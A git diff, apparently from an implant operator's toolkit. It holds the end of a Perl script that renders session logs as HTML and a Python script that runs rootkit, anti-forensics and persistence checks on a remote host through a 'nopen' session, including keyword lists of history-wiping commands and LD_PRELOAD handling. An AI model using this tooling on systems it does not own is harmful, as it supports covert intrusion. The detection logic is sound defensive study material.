+}#myinit + +sub usage { + print "\nFATAL ERROR: @_\n" if ( @_ ); +# $usagetext = $gsusagetext if ($nopen_mypid) ; + print $usagetext unless $opt_v ; + print $vertext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +}#usage + +sub getline { + # globals used/changed: $lastlinetime + my ($gotone,$linetime,$line,$lineoutput,$skipone,$skipcommand,$commandoutput) = () ; + while ($line = ) { + $line =~ s/\r//g ; # Get rid of ^M's + if ($line =~ /(\d\d\-\d\d\-\d\d\ \d\d\:\d\d\:\d\d)\sGMT\]\[.*\-\>/) { + if ($linetime) { + # 2nd match for this is next block so rewind a line and return + my $seekval = -1 * length($line) ; + my $err = seek(IN,$seekval,1) ; + $line = $prevline ; + last ; + } else { + $linetime = $line ; + } + } + if (!$gotone and $line =~ /^\[(.*)\]\s*$/ and $skipone++) { + $gotone = $1 ; + } + $commandoutput .= $line if ($gotone and $skipcommand++); + $lineoutput .= $line ; + my $prevline = $line ; + } + return ($linetime,$gotone,$lineoutput,$commandoutput); +}#getline + +sub printall { + local($_,$glob,@gotfiles) = (@_) ; + my $htmlout = $_ ; + my ($colorall,$colorhost,$fileonly,$colorfhost) = () ; + if ($glob and $glob ne ".*") { + $glob = "" ; + $fileonly = 1 ; + } + $htmlout =~ s//\>/g; + if (@gotfiles) { + # never mind what's in @gotfiles--just a flag meaning a -get of some + # sort was done so parse every line looking if we need a link in it + # to some local file. + + my @lines = split(/\n/,$htmlout) ; + my ($htmloutold,$link,$gotlocal) = ($htmlout) ; + $htmlout = "" ; + foreach $line (@lines) { + if (($link,$gotlocal) = $line =~ /^(\s*\/.* -> (\/.*)\s*)/) { + my $gotlocalorig = ""; + $gotlocalorig = $gotlocal if (-e $gotlocal) ; + $line =~ s,/[^/]+/\.\.(/down/),$1,; + my ($relativedir) = $gotlocal =~ /.*\.\.\/down\/(.*)/; + $relativedir = "../../".dirname $relativedir if ($relativedir) ; + if (-d $relativedir) { + $gotlocal =~ s,.*\.\./down,../.., ; + } elsif (-d "$opdown") { + $gotlocal =~ s,.*\.\./down,/current/down, ; + } + if (-e "$gotlocal.partial") { + $gotlocal = "$gotlocal.partial" + unless (-e $gotlocal); + } + $gotlocal = $gotlocalorig unless (-e $gotlocal) ; + } + if ($gotlocal and -e $gotlocal) { + $line =~ s/ -\> (\/.*)/ -\> $1<\/a>/g; + } + $htmlout .= "$line\n"; + } + } + if ($gotone =~ /^-cksum/) { + # we have -cksum output -- make the lines yellow or green + $htmlout =~ s,(- [A-F0-9]{40} .*\n),$1,g ; + $htmlout =~ s,(\+ [A-F0-9]{40} .*\n),$1,g ; + } + if ($gotone =~ /^-sha1sum/) { + # we have -sha1sum output -- make the lines yellow or green + $htmlout =~ s,(- [A-F0-9]{40} .*\n),$1,g ; + $htmlout =~ s,(\+ [A-F0-9]{40} .*\n),$1,g ; + } + if ( !$fileonly or ($lastxfile{$host} ne $fileoutput{$host}{$time})) { + $lastxfile{$host} = $fileoutput{$host}{$time}; + select $out{$host}; + print ; + } + if ( !$fileonly or ($lastafile ne $fileoutput{$host}{$time})) { + if ($color{$host} ne $lastallcolor) { + $colorall = $endcolor if $lastallcolor ; + $lastallcolor = $color{$host}; + $colorall .= $color{$host}; + } + $lastafile = $fileoutput{$host}{$time}; + if ($fileonly) { + # treat this string, replacing << and >> with links to last and next time + # that host has an entry, but only in .all. one. + my $link = linkit("<<",0); + $htmlout =~ s/<</$link/ ; + my ($middle) = $htmlout =~ /($prog.*) >>/ ; + my $mark = markit($middle); + $htmlout =~ s/$middle/$mark/ ; + $link = linkit(">>",1); + $htmlout =~ s/>>/$link/ ; + } + print ALLHTMLOUT $colorall,$htmlout ; + print ALLOUT ; + } + if ( $stdoutalso and (!$fileonly or ($laststdoutfile ne $fileoutput{$host}{$time}))) { + $laststdoutfile = $fileoutput{$host}{$time}; + print STDOUT; + } + if ( $outfile and (!$fileonly or ($lastoutffile ne $fileoutput{$host}{$time}))) { + $lastoutffile = $fileoutput{$host}{$time}; + print OUTF ; + } + if ($houtfile) { + if ( !$fileonly or ($lasthffile{$host} ne $fileoutput{$host}{$time})) { + $lasthffile{$host} = $fileoutput{$host}{$time}; + if ($color{$host} ne $lastfcolor) { + $colorfhost = $endcolor if $lastfcolor; + $lastfcolor = $color{$host}; + $colorfhost .= $color{$host}; + } + print HOUTF $colorfhost,$htmlout; + } + } + if ( !$fileonly or ($lasthfile{$host} ne $fileoutput{$host}{$time})) { + $lasthfile{$host} = $fileoutput{$host}{$time}; + select $htmlout{$host} ; + if ($color{$host} ne $lasthostcolor{$host}) { + $colorhost = $endcolor if $lasthostcolor{$host} ; + $lasthostcolor{$host} = $color{$host}; + $colorhost .= $color{$host}; + } + print $colorhost,$htmlout; + } +}#printall +sub forkandbrowse { + $browsedsome++; + # This does not return + return unless ($_[1] or ($dobrowser and $browser and -e $_[0] and -r _ and -s _)); + $browsoffset += 35; + my $fname = basename $_[0]; + my $runthis=""; + if (`which fix-typescript 2>/dev/null`) { + if (copy($_[0],"/tmp/t.$$")) { + `fix-typescript /tmp/t.$$ > $_[0] 2>/dev/null`; + #unlink("/tmp/t.$$"); + } + } + if ($browser =~ /konqueror/) { + $browser .= " --geometry 819x639-70+$browsoffset"; + $runthis="$browser file://$_[0]"; + } else {# if ($browser =~ /mozilla/) { + myprint("\nAbout to run: $browser -remote \"openFile(file://$_[0],new-tab)\" 2>&1"); + my $ok = `$browser -remote "openFile(file://$_[0],new-tab)" 2>&1` ; + if ($ok =~ /no running window/i) { + myprint("\nThat failed, starting new browser instead (you may have to define a new profile)."); + } else { + my $nl = ""; + $nl = "\r \n" if $browsedsome == 1; + myprint("${nl}Added new tab to existing $browser browser ($fname)."); + return; + } + $runthis="$browser file://$_[0]"; + } + myprint("\nAbout to fork and run:\n $runthis"); + return if fork() ; + close(STDOUT) ; + close(STDIN) ; + close(STDERR) ; + exec("$runthis"); +}#forkandbrowse +#sub dbg { +# local($dbgnum,$what) = (@_); +# print DBG "DBG:$dbgnum:$what:\n"; +#}#dbg +sub linkit { + my $link = $link{$host}; + if ($_[1]) { + $link++; + } + $link = sprintf("%08d",$link); + if ($link =~ /00000001$/) { + return "$_[0]" ; + } else { + return "$_[0]" ; + } +}#linkit +sub markit { + $link{$host} = sprintf("%08d",$link{$host}+1); + return "$_[0]" ; +}#markit +sub working { + return if $browsedsome; + $index++; + $index = $index % scalar @prog ; + print STDERR "\rWorking $prog[$index]"; +}#working + +__END__ + +which way to go1: + +} else { + if (@gotfiles) { + my @lines = split(/\n/,$htmlout) ; + my ($htmloutold,$link,$gotlocal) = ($htmlout) ; + $htmlout = "" ; + foreach $line (@lines) { + if (($link,$gotlocal) = $line =~ /^(\s*\/.* -> (\/.*)\s*)\n/) { + my $gotlocalorig = ""; + $gotlocalorig = $gotlocal if (-e $gotlocal) ; + if (-d "/current/down") { + $gotlocal =~ s,.*\.\./down,/current/down, ; + if (-e "$gotlocal.partial") { + $gotlocal = "$gotlocal.partial"; + # unless (-e $gotlocal); + } + $gotlocal = $gotlocalorig unless (-e $gotlocal) ; + } + + } + $htmlout .= "$_\n"; + } + if ($gotlocal and -e $gotlocal) { + $htmlout =~ s/($gotfile$glob -\> )(\/.*)\n/$1$2<\/a>\n/g; + } + $htmlout =~ s/($gotfile$glob -\> )(\/.*)\n/$1$2<\/a>\n/g; + + } +} + + + foreach $gotfile (@gotfiles) { + if (($gotlocal) = $htmlout =~ /$gotfile$glob -> (\/.*)\n/) { + my $gotlocalorig = ""; + $gotlocalorig = $gotlocal if (-e $gotlocal) ; + if (-d "/current/down") { + $gotlocal =~ s,.*\.\./down,/current/down, ; + if (-e "$gotlocal.partial") { + $gotlocal = "$gotlocal.partial"; +# unless (-e $gotlocal); + } + $gotlocal = $gotlocalorig unless (-e $gotlocal) ; + } + } + next unless ($gotlocal and -e $gotlocal); + $htmlout =~ s/($gotfile$glob -\> )(\/.*)\n/$1$2<\/a>\n/g; + } diff --git a/Linux/etc/autorootkit b/Linux/etc/autorootkit new file mode 100755 index 0000000..78ecde0 --- /dev/null +++ b/Linux/etc/autorootkit @@ -0,0 +1,623 @@ +#!/usr/bin/env python2.7 +VERSION = '0.3.0.0' + +import os +import sys +import shlex +import traceback +import re +import time + +import autoutils +from autoutils import COLOR +from autoutils import OptParser +from autolss import nopenlss + +import ConfigParser + +class autorootkit: + + def __init__(self): + + self.version = VERSION + self.nopen = autoutils.autoutils() + self.parser = self.get_arg_parser() + self.doprint = self.nopen.doprint + self.findComplete = 0 + self.ldpreload = "" + + # libXfind() + # + # This will look for remnants of libX in the find and, if it finds it, + # will change the aliases to properly use ps and netstat, among others + def libXfind(self): + if not self.findComplete: + autorootkit.libXguess(self) + return + libXfound = 0 + rpsloc = "" + netstatloc = "" + for line in open("%s/cmdout/%s-find" % (self.nopen.opdown,self.nopen.nopen_rhostname)): + if "libX.a" in line: + libXfound = 1 + if "/rps" in line: + rpsloc = line.split()[22] + if "/netstat" in line: + netstatloc = line.split()[22] + #print line + if libXfound: + autorootkit.libXsolve(self, rpsloc, netstatloc) + else: + self.doprint(COLOR['success'], "No libX found.") + + # libXguess() + # + # This will look for remnants of libX by guessing where it should be + def libXguess(self): + output, nopenlines, outputlines = self.nopen.doit("-ls -R /usr/lib/libX.a") + if output: + rpsloc = "" + netstatloc = "" + for line in outputlines: + if "/rps" in line: + rpsloc = line.split()[9] + if "/netstat" in line: + netstatloc = line.split()[9] + autorootkit.libXsolve(self, rpsloc, netstatloc) + else: + self.doprint(COLOR['success'], "No libX found.") + + + # libXsolve() + # + # This will save off the netstat/ps saved in the bin directory of libX and then change the path/aliases. + # The parameters are the location of rps and netstat + def libXsolve(self, rpsloc, netstatloc): + # 1. save off the good netstat + output, nopenlines, outputlines = self.nopen.doit("%s -na; %s -rn >T:%s/netstat.%s.WITHlibX.a.netstat" % (netstatloc, netstatloc, self.nopen.opdown, self.nopen.nopen_rhostname)) + # 2. save off the good ps + # 2a. get the ps switches from the help output + outputfile = "%s/.help.%s" % (self.nopen.optmp, self.nopen.nopen_rhostname) + output, nopenlines, outputlines = self.nopen.doit("-help >T:%s" % outputfile) + switches = "" + with file(outputfile, 'r') as aliases: + for alias in aliases: + if "alias =ps" in alias: + switches = alias.split()[-1] + # 2b. save it off + output, nopenlines, outputlines = self.nopen.doit("%s %s >%:%s/ps.%s.WITHlibX.a.rps" % (rpsloc,switches,self.nopen.opdown, self.nopen.nopen_rhostname)) + # 3. adjust the aliases + # 3a. add the libX path + libXbinpath = "/".join(rpsloc.split("/")[:-1]) + output, nopenlines, outputlines = self.nopen.doit("-gs addpath %s" % libXbinpath) + # 3b. write the alias + newnorcfile = "%s/.norc.tmp.%s" % (self.nopen.optmp,self.nopen.nopen_rhostname) + fd = open(newnorcfile,'w') + fd.write("alias =ps=rps %s\n" % switches) + fd.close() + # 3c. add the alias + output, nopenlines, outputlines = self.nopen.doit("-readrc %s" % newnorcfile) + # 4. print the status + self.doprint(COLOR['fail'], "Found libX, saved off the netstat/ps, and modified the aliases to reflect the new ps change.") + return + + + # inodeChecks() + # + # This will look for jumps in inodes on the file system to detect trojaned + # binaries. Not sure if this will be helpful or not. + def inodeChecks(self): + dirs = ['/bin','/sbin','/usr/bin','/usr/sbin'] + threshold = 5000 + jumpy_inodes = [] + for dir in dirs: + output, nopenlines, outputlines = self.nopen.doit("-ls -i %s" % dir) + sorted_inodes = [] + for line in outputlines: + inode = int(line.split()[0]) + sorted_inodes.append((inode,line)) + sorted_inodes.sort() + previous_inode = 0 + for item in sorted_inodes: + diff=item[0]-previous_inode + if previous_inode != diff and diff > threshold: + #print "diff: %s" % diff + #self.doprint(COLOR['fail'],"inode jump: %s" % item[1]) + jumpy_inodes.append(item[1]) + previous_inode = item[0] + # prune the list + jumpy_inodes = [x for x in jumpy_inodes if not x.endswith("..") and not x.endswith("/.")] + self.doprint(COLOR['fail'],'These files are at least %s higher than the previous inode number in the respective directory:\n%s' % (threshold,"\n".join(jumpy_inodes))) + + # historyCheck() + # + # This will look in history files for bad strings + # Requires full find + def historyCheck(self): + badCommands = ['fsdb','debugfs','scrub','dd','LD_PRELOAD','dump'] #also contains ufsdump + badVariables = ['HISTSIZE','HISTFILE'] #also contains HISTFILESIZE + allHits = {} + if self.findComplete: + for line in open("%s/cmdout/%s-find" % (self.nopen.opdown,self.nopen.nopen_rhostname)): + # Examine history files for badCommands + m=re.search(" (\S*\.\w*history)\n", line) + if m and line.split()[1].startswith("-"): + output, nopenlines, outputlines = self.nopen.doit("egrep \"%s\" %s" % ("\ |\ ".join(badCommands),m.group(1))) + if output: + allHits[m.group(1)] = output + # Examine profile files for badVariables + if line.endswith("profile\n") and line.split()[1].startswith("-"): + output, nopenlines, outputlines = self.nopen.doit('file %s' % line.split()[22]) + if "ELF" not in output: + for theString in badVariables: + #output, nopenlines, outputlines = self.nopen.doit("grep -li %s %s 2>/dev/null" % (theString, line.split()[22])) + output, nopenlines, outputlines = self.nopen.doit("egrep \"%s.*=\" %s 2>/dev/null" % (theString, line.split()[22])) + if output: + #self.doprint(COLOR['fail'],"Profile %s contains %s!" % (line.split()[22],theString)) + allHits[line.split()[22]] = theString + else: + output, nopenlines, outputlines = self.nopen.doit("-cat /etc/passwd") + for line in outputlines: + if len(line) > 1: + homedir = line.split(":")[5] + # Examine history files for badCommands + output, nopenlines, outputlines = self.nopen.doit("-lt %s/.*history" % homedir) + if outputlines: + for line in outputlines: + output2, nopenlines2, outputlines2 = self.nopen.doit("egrep \"%s\" %s" % ("\ |\ ".join(badCommands),line.split()[9])) + if output2: + allHits[line.split()[9]] = " ".join(badCommands) + # Examine profile files for badVariables + output, nopenlines, outputlines = self.nopen.doit("-lt %s/.*profile" % homedir) + if outputlines: + for line in outputlines: + output2, nopenlines2, outputlines2 = self.nopen.doit("egrep \"%s\" %s" % ("\ |\ ".join(badVariables),line.split()[9])) + if output2: + allHits[line.split()[9]] = " ".join(badCommands) + # now print out all the hits + self.doprint(COLOR['fail'],"Hits:\n\n%s" % "\n".join([": ".join(key) for key in allHits.items()])) + + + # staticSigs() + # + # This will look for static signatures in files + def staticSigs(self): + conf = ConfigParser.ConfigParser() + conf.read("/current/etc/rootkits.sig") + static_hits = [] + for section in conf.sections(): + files = " ".join(conf.get(section,'files').split('\n')) + if files: + output, nopenlines, outputlines = self.nopen.doit('-lt %s' % files) + if output: + for hit in outputlines: + static_hits.append((section, hit)) + dirs = " ".join(conf.get(section,'dirs').split('\n')) + if dirs: + output, nopenlines, outputlines = self.nopen.doit('-ls -d %s' % dirs) + if output: + for hit in outputlines: + static_hits.append((section,hit)) + syms = " ".join(conf.get(section,'ksyms').split('\n')) + if syms: + output, nopenlines, outputlines = self.nopen.doit('grep %s /proc/k*syms 2>/dev/null' % syms) + if output: + for hit in outputlines: + static_hits.append((section,hit)) + users = " ".join(conf.get(section,'users').split('\n')) + if users: + output, nopenlines, outputlines = self.nopen.doit('-grep %s /etc/passwd 2>/dev/null' % users) + if output: + for hit in outputlines: + static_hits.append((section,hit)) + # Now print out the hits + outputstring = '' + if static_hits: + for hit in static_hits: + outputstring += '%s #%s\n' % (hit[1].ljust(50), hit[0]) + self.doprint(COLOR['fail'], 'Found the following hits:\n',outputstring) + else: + self.doprint(COLOR['success'], 'No hits on static signatures.') + + # inetdChecks + # + # This performs a preliminary check to see if any inetd/xinetd service + # mentions a shell found in /etc/shells + def inetdChecks(self): + shells = ['/bin/bash','/bin/sh'] + output, nopenlines, outputlines = self.nopen.doit("-cat /etc/shells") + if output: + for shell in outputlines: + if shell and shell not in shells: + shells.append(shell) + output, nopenlines, outputlines = self.nopen.doit("grep -l \"tcp\" /etc/*inetd.conf /etc/*inetd.d/* 2>/dev/null") + + bad_services = [] + for inetd_file in outputlines: + for shell in shells: + output2, nopenlines2, outputlines2 = self.nopen.doit("grep -l %s %s 2>/dev/null" % (shell, inetd_file)) + if output2: + bad_services.append(inetd_file) + if bad_services: + self.doprint(COLOR['fail'],"Found inetd services that seem to spawn a shell:") + output, nopenlines, outputlines = self.nopen.doit("more %s | cat" % " ".join(bad_services)) + else: + self.doprint(COLOR['success'],"\nNo suspicious inetd services.\n") + + + # networkChecks + # + # This performs anomalous network checks via promiscdetect and sniffdetect + def networkChecks(self): + output, nopenlines, outputlines = self.nopen.doit('-gs promiscdetect') + output, nopenlines, outputlines = self.nopen.doit('-gs sniffdetect') + + # ldsopreload + # + # This performs checks on ld.so.preload and LD_* environment variables + # Requires full find + def ldsopreload(self): + output, nopenlines, outputlines = self.nopen.doit('-lt /etc/ld.so.preload') + if output: + output, nopenlines, outputlines = self.nopen.doit('-cat /etc/ld.so.preload') + self.doprint("Investigate:\n=== /etc/ld.so.preload ===\n",output,"=== END ===\n") + self.nopen.pause() + if self.findComplete: + for line in open("%s/cmdout/%s-find" % (self.nopen.opdown,self.nopen.nopen_rhostname)): + if line.endswith("profile\n") and line.split()[1].startswith("-"): + output, nopenlines, outputlines = self.nopen.doit('file %s' % line.split()[22]) + if "ELF" not in output: + output, nopenlines, outputlines = self.nopen.doit("-grep -i ld_ %s" % line.split()[22]) + if output: + self.doprint("Investigate:\n=== %s ===\n%s\n=== END ===\n" % (line.split()[22],output)) + self.nopen.pause() + else: + output, nopenlines, outputlines = self.nopen.doit("-cat /etc/passwd") + for line in outputlines: + if len(line) > 1: + homedir = line.split(":")[5] + output, nopenlines, outputlines = self.nopen.doit("-lt %s/.*profile" % homedir) + if outputlines: + for line in outputlines: + output2, nopenlines2, outputlines2 = self.nopen.doit("-grep -i ld_ %s " % line.split()[9]) + self.nopen.pause() + + # moduleChecks + # + # This is just a wrapper to fork on the OS for moduleChecksLinux and moduleChecksSolaris + # + # option will define whether or not to do the modinfo checks on Linux (which could log): + # 0 - don't run the modinfo checks + # 1 - run the modinfo checks + def moduleChecks(self, option): + if "Linux" in self.nopen.nopen_serverinfo: + if "Linux 2.6" in self.nopen.nopen_serverinfo: + autorootkit.moduleChecksLinux(self) + if option: + autorootkit.moduleChecksLinux2(self) + elif "SunOS" in self.nopen.nopen_serverinfo: + autorootkit.moduleChecksSolaris(self) + else: + self.doprint(COLOR['fail'],'There are no module checks available for this os: %s' % self.nopen.nopen_serverinfo) + + + # moduleChecksLinux + # + # This performs checks on the loaded modules compared to the modules that have symbols + def moduleChecksLinux(self): + output, nopenlines, outputlines = self.nopen.doit("cat /proc/kallsyms | grep '\[' | awk '{ print substr($4,2,length($4)-2) }' | sort -u") + output2, nopenlines2, outputlines2 = self.nopen.doit("cat /proc/modules | awk '{print $1}' | sort -u") + kallsyms_modules = [ x for x in outputlines ] + loaded_modules = [x for x in outputlines2 ] + missing_modules = [] + for mod in kallsyms_modules: + if mod not in loaded_modules: + missing_modules.append(mod) + if missing_modules: + self.doprint(COLOR['fail'],"/proc/kallsyms and /proc/modules don't match:\n%s" % "\n".join(missing_modules)) + else: + self.doprint(COLOR['success'],"\n/proc/kallsyms and /proc/modules match.\n") + + # moduleChecksLinux2 + # + # This performs checks on the loaded modules compared to the modules on disk as specified by modinfo + # Of note, if modinfo returns nothing, it means it can't find the file and could have caused a log in dmesg + # because modprobe searches for the kernel module. + def moduleChecksLinux2(self): + output, nopenlines, outputlines = self.nopen.doit("lsmod") + listed_modules = [ x.split()[0] for x in outputlines if x.split()[0] != "Module" ] + listed_modules_files = [] + for module in listed_modules: + output, nopenlines, outputlines = self.nopen.doit("modinfo -F filename %s" % module) + if output: + listed_modules_files.append(output) + else: + self.doprint(COLOR['fail'],"ERROR for %s\n\nmodinfo failed to find the filename; this could have caused a log in dmesg and even sent an email to the root user!" % module) + self.nopen.pause() + found_modules = {} + for module in listed_modules_files: + found_modules[module] = 0 + if self.findComplete: + self.doprint(COLOR['note'],"\nSearching through the find for all loaded kernel modules...\n") + for line in open("%s/cmdout/%s-find" % (self.nopen.opdown,self.nopen.nopen_rhostname)): + for module in listed_modules_files: + m=re.search("%s" % module, line) + if m: + found_modules[module] = 1 + else: + for module in listed_modules_files: + output, nopenlines, outputlines = self.nopen.doit("-lt %s" % module) + if output: + found_modules[module] = 1 + unfound_modules = [z for z in found_modules.keys() if found_modules[z] == 0] + if unfound_modules: + self.doprint(COLOR['fail'],"Unfound modules:\n%s" % "\n".join(unfound_modules)) + else: + self.doprint(COLOR['success'],"All loaded kernel modules found on disk.") + + + + # moduleChecksSolaris + # + # This performs checks on the loaded modules compared to ones on disk for Solaris + # Note that this entire check requires the find + def moduleChecksSolaris(self): + if self.findComplete: + output, nopenlines, outputlines = self.nopen.doit("-cat /etc/system") + kernel_location_lines = [ x for x in outputlines if "moddir" in x and x[0] != "*" ] + kernel_locations = [] + for loc in kernel_location_lines: + m=re.search(".*moddir: (.*)$", loc) + if m: + kernel_locations.append(m.group(1)) + if len(kernel_locations) < 1: + kernel_locations = ['/kernel','/usr/kernel','/platform'] + kernel_mods_lines = [] + for line in open("%s/cmdout/%s-find" % (self.nopen.opdown,self.nopen.nopen_rhostname)): + for loc in kernel_locations: + if " %s" % loc in line: + kernel_mods_lines.append(line) + output, nopenlines, outputlines = self.nopen.doit("isainfo -b") + output2, nopenlines2, outputlines2 = self.nopen.doit("modinfo") + kernel_modules = [] + for line in outputlines2: + if line and line.split()[5] not in kernel_modules and line.split()[5] != "Module": + kernel_modules.append(line.split()[5]) + unfound_kernel_modules = [] + for mod in kernel_modules: + found = 0 + for line in kernel_mods_lines: + if output == "64": + if line.endswith("sparcv9/%s\n" % mod): + found = 1 + else: + if line.endswith("%s\n" % mod) and "sparcv9" not in line: + found = 1 + if found == 0: + unfound_kernel_modules.append(mod) + if unfound_kernel_modules: + self.doprint(COLOR['fail'], "These modules are loaded but not found in the standard location:\n%s" % "\n".join(unfound_kernel_modules)) + else: + self.doprint(COLOR['success'], "All kernel modules identified in modload are found in standard locations.") + else: + self.doprint(COLOR['note'],"\nSkipping this section as there was not a full find completed.\n") + + + # sharedObjectsCheck + # + # This performs an ldd on every binary provided in list_of_files to look for fully qualified libraries (not the ones that + # have "=>") and then does an -lt on them to determine if they are visible. If they are not, they are notified. + # + # If no list_of_files is provided, it'll search over all directories in dirs_to_check, which could take some time. + # + # Requires full find. + def sharedObjectsCheck(self,list_of_files): + fully_qualified_sos = [] + # just check the files that were provided + if list_of_files: + for file in list_of_files: + output, nopenlines, outputlines = self.nopen.doit("ldd %s" % file) + for line in outputlines: + if "=." not in line and "not a dynamic executable" not in line and "ldd: " not in line and line.split()[0] not in fully_qualified_sos: + fully_qualified_sos.append(line.split()[0]) + # otherwise, check all the directories + else: + for line in open("%s/cmdout/%s-find" % (self.nopen.opdown,self.nopen.nopen_rhostname)): + dirs_to_check = ['/bin','/sbin','/usr/bin','/usr/sbin','/usr/local/bin','/usr/local/sbin'] + for dir in dirs_to_check: + if " %s/" % dir in line: + m=re.search(" %s/(\S*)" % dir, line) + output, nopenlines, outputlines = self.nopen.doit("ldd %s/%s" % (dir,m.group(1).split()[0])) + for line in outputlines: + if "=." not in line and "not a dynamic executable" not in line and "ldd: " not in line and line.split()[0] not in fully_qualified_sos: + fully_qualified_sos.append(line.split()[0]) + missing_sos = [] + for file in fully_qualified_sos: + output, nopenlines, outputlines = self.nopen.doit("-ls %s" % file) + if not output: + missing_sos.append(file) + if missing_sos: + self.doprint(COLOR['fail'], "Missing shared objects referenced:\n","\n".join(missing_sos)) + else: + self.doprint(COLOR['success'], "\nAll shared objects referenced can be found on disk.\n") + + # sharedObjectsCheckMinimal(self): + # + # This is a minimal version of the sharedObjectsCheck from above with only certain files, and is a wrapper for sharedObjectsCheck() + def sharedObjectsCheckMinimal(self): + fully_qualified_sos = [] + binaries = ['arp','find','ftpd','fuser','inetd','in.ftpd','in.proftpd','in.rlogind','in.rshd','in.telnetd','in.tftpd','in.wuftpd','krlogind','krshd','login','ls','modinfo','netstat','obexftpd','opieftpd','proftpd','ps','pure-ftpd','rcpure-ftpd','rcrinetd','rcxinetd','rinetd','rlogind','rm','rshd','sh','su','telnet','telnetd','tftpd','update-inetd','vsftpd','w','wu.ftpd','xinetd'] + file_list = nopenlss(self.nopen).main('-P %s' % " ".join(binaries)) + full_binaries = [ binary.split()[9] for binary in file_list if binary ] + autorootkit.sharedObjectsCheck(self,full_binaries) + + + # processCheck + # + # Unlike =pscheck, this does the following more heuristic checks: + # 1. psproc: is the process argv[0] different in proc than via ps + # 2. deleted binaries (Linux) + def processCheck(self): + output, nopenlines, outputlines = self.nopen.doit("-gs psproc") + self.nopen.doprint(COLOR['note'],"\n\n\tCheck above output for processes whose names appear differently in the process list and in proc\n\n") + self.nopen.pause() + if "Linux" in self.nopen.nopen_serverinfo: + output, nopenlines, outputlines = self.nopen.doit("lsof -Pn | grep dele") + if output: + self.doprint("Deleted binaries:\n",COLOR['fail'],output) + + # strangeFindFiles + # + # This will look for strange files in the find file, such as "...", etc. + def strangeFindFiles(self): + if self.findComplete: + self.nopen.doit("-lsh 1x -hold -e python2.7 %s/strangeFiles.py -f %s/cmdout/%s-find" % (self.nopen.opbin,self.nopen.opdown,self.nopen.nopen_rhostname)) + else: + self.doprint(COLOR['note'],"\nSkipping section because full find was not completed.\n") + + # binaryChecks + # + # This will check to make sure that all the standard binaries used are ELF + def binaryChecks(self): + binaries = ['arp','find','ftpd','fuser','inetd','in.ftpd','in.proftpd','in.rlogind','in.rshd','in.telnetd','in.tftpd','in.wuftpd','krlogind','krshd','login','ls','modinfo','netstat','obexftpd','opieftpd','proftpd','ps','pure-ftpd','rcpure-ftpd','rcrinetd','rcxinetd','rinetd','rlogind','rm','rshd','sh','su','telnet','telnetd','tftpd','update-inetd','vsftpd','w','wu.ftpd','xinetd'] + file_list = nopenlss(self.nopen).main('-P %s' % " ".join(binaries)) + full_binaries = [ binary.split()[9] for binary in file_list if binary ] + print "file %s 2>/dev/null | egrep -v 'ELF|symbolic link'" % " ".join(full_binaries) + output, nopenlines, outputlines = self.nopen.doit("file %s 2>/dev/null | egrep -v 'ELF|symbolic link'" % " ".join(full_binaries)) + if output: + self.nopen.doprint(COLOR['fail'],"Check out these standard binaries that are not ELF or symbolic links:\n%s" % output) + else: + self.nopen.doprint(COLOR['success'],"All suspected binaries are either ELF or symbolic links.") + + # passwdChecks + # + # This just checks for small anomalies in /etc/passwd + def passwdChecks(self): + output, nopenlines, outputlines = self.nopen.doit("grep \"x:0:\" /etc/passwd | grep -v root") + if output: + self.nopen.doprint(COLOR['fail'], "Non 'root' user has UID 0!:\n%s" % output) + else: + self.nopen.doprint(COLOR['success'], "/etc/passwd looks benign.") + + + + def main(self,argv): + + argv = argv[1:] + opts, args = self.nopen.parseArgs(self.parser, argv) + + # --modinfo-checks requires -f + if opts.MODINFO and not opts.FILES: + self.parser.error("Option --modinfo-checks needs to also have -f") + return self.nopen.finish() + + # -l requires any other option + if opts.LDPRELOAD and len(argv) < 2: + self.parser.error("Option -l needs to have another option") + return self.nopen.finish() + + if len(argv) < 1: + self.parser.print_help() + return self.nopen.finish() + + # connect to autoport after parse args + if not self.nopen.connected: + self.nopen.connect() + + # Set variable if full find has been completed + if os.path.isfile('%s/cmdout/%s-find' % (self.nopen.opdown,self.nopen.nopen_rhostname)): + self.findComplete = 1 + + # Set the LD_PRELOAD variable to be empty + if opts.LDPRELOAD: + output, nopenlines, outputlines = self.nopen.doit("echo $LD_PRELOAD") + if output: + self.ldpreload = outputlines + output, nopenlines, outputlines = self.nopen.doit("-setenv LD_PRELOAD=") + + if opts.STATIC or opts.ALL: + self.doprint(COLOR['warn'],"\n\n\n\tExecuting %s now...\n\n" % "static signature checks") + time.sleep(3) + autorootkit.staticSigs(self) + self.nopen.pause() + + if opts.FILES or opts.ALL: + funcs = ['strangeFindFiles','libXfind','historyCheck','ldsopreload','moduleChecks','inetdChecks','inodeChecks','passwdChecks','binaryChecks'] + for func in funcs: + self.doprint(COLOR['warn'],"\n\n\n\tExecuting %s now...\n\n" % func) + time.sleep(3) + executeMe = getattr(autorootkit,func) + if func is "moduleChecks": + executeMe(self,opts.MODINFO) + else: + executeMe(self) + self.nopen.pause() + + if opts.SHAREDOBJECTS: + self.doprint(COLOR['warn'],"\n\n\n\tExecuting %s now...\n\n" % "shared objects checks") + time.sleep(3) + autorootkit.sharedObjectsCheck(self,'') + + if opts.NIC or opts.ALL: + self.doprint(COLOR['warn'],"\n\n\n\tExecuting %s now...\n\n" % "network checks") + time.sleep(3) + autorootkit.networkChecks(self) + self.nopen.pause() + + if opts.PROCESSES or opts.ALL: + self.doprint(COLOR['warn'],"\n\n\n\tExecuting %s now...\n\n" % "process checks") + time.sleep(3) + autorootkit.processCheck(self) + self.nopen.pause() + + if opts.SHAREDOBJECTSMIN: + autorootkit.sharedObjectsCheckMinimal(self) + + if opts.SHAREDOBJECT_SINGLE: + autorootkit.sharedObjectsCheck(self,[opts.SHAREDOBJECT_SINGLE]) + + if opts.LDPRELOAD: + # Before returning, reset LD_PRELOAD + output, nopenlines, outputlines = self.nopen.doit("-setenv LD_PRELOAD=%s" % self.ldpreload) + + return self.nopen.finish() + + + + + + + + def get_arg_parser(self): + + epilog = '\n-gs rootkit version %s\n' % self.version + + parser = OptParser(usage='usage: -gs rootkit [options]', epilog=epilog) + + parser.add_option('-a', dest='ALL', action='store_true', help='Run full rootkit detection') + parser.add_option('-f', dest='FILES', action='store_true', help='Run anomalous/malicious file check') + parser.add_option('-l', dest='LDPRELOAD', action='store_true', help='Preserve our current LD_PRELOAD variable') + parser.add_option('-n', dest='NIC', action='store_true', help='Run NIC checks') + parser.add_option('-p', dest='PROCESSES', action='store_true', help='Run anomalous/malicious process check') + parser.add_option('-s', dest='STATIC', action='store_true', help='Check only static signatures') + parser.add_option('--modinfo-checks', dest='MODINFO', action='store_true', help='This enables the modinfo checks on Linux for finding file names from kernel 